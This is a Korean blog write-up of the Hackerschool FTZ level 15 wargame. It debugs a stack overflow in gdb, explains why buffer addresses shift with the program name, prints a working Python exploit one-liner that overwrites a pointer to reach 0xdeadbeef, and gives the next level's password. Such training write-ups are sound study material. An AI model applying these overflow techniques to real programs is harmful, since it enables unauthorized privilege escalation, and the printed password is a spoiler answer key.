level14와 다른점은 int *check로 선언되어 있다는 것
main+27 : 버퍼 56바이트 할당
b *main+31 ->fgets
main+39에서 "ebp-16이 가리키는 값"를 eax 주소에 넣고, (mov이므로)
"eax가 가리키는 값"을 0xdeadbeef와 비교한다.
ebp-16 : 0xbffff6c8 value:0xbfff000a
ebp-16이 가리키는 곳? 0xbfff000a value:0
eax : 0xbfff000a value:0(바뀐거)
esp : 0xbffff6a0 부터 문자열 A가 쌓인다.
x/12wx $ebp-20을 보면,(A문자열 *40을 넣은 상황)
ebp-16인 곳에서 0xbfff000a를 값으로 가진다.
x/12wx main 명령으로 0xdeadbeef가 들어있는 곳의 주소를 알 수 있다.
ebp-16이 가리키는 곳을 이 주소로 덮어씌우면 된다.
0x80483e4 value:0xdeadbeef
내가 돌리면 다른 사람들이랑 다른 주소가 나옴,,
원래 나타날 주소는
0x80484b2 <main+32> : 0xdeadbeef임
공격코드는
(python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
0xdeadbeef가 데이터 안에 있으므로 이 주소로 코팅해주면 권한 상승 성공.
주소가 왜 다른지는 모르겠다. 원래 정답이랑 206바이트나 차이남.
파일명을 attackme로 바꿔서 실행한 경우에는
0xdeadbeef가 0x804842c<main+64>에 위치한다.
원래 나타날 주소인 0x80484b2와는 134바이트(0x86바이트)차이남.
*gdb로 돌릴 때랑 프로그램을 그냥 돌릴 때랑 버퍼 주소가 다르다!
printf("buf address : %x\n",&buf);
소스코드를 추가했을 때,
그냥 실행시켜서 얻은 버퍼의 시작주소 : bffff290
gdb로 돌려서 얻은 버퍼의 시작주소 : bfffe3a0
*프로그램 이름의 길이가 버퍼 주소에 영향을 준다!
프로그램 복사
$cp attackme ./tmp/attackme
level 16 password : "about to cause mass"
'System Hacking' 카테고리의 다른 글
[해커스쿨FTZ] Level17 (0) | 2020.01.06 |
---|---|
[해커스쿨FTZ] Level16 (0) | 2020.01.06 |
[해커스쿨FTZ] Level14 (0) | 2020.01.06 |
[해커스쿨FTZ] Level13 (0) | 2020.01.06 |
[pwnable.kr] coin1 (0) | 2019.10.01 |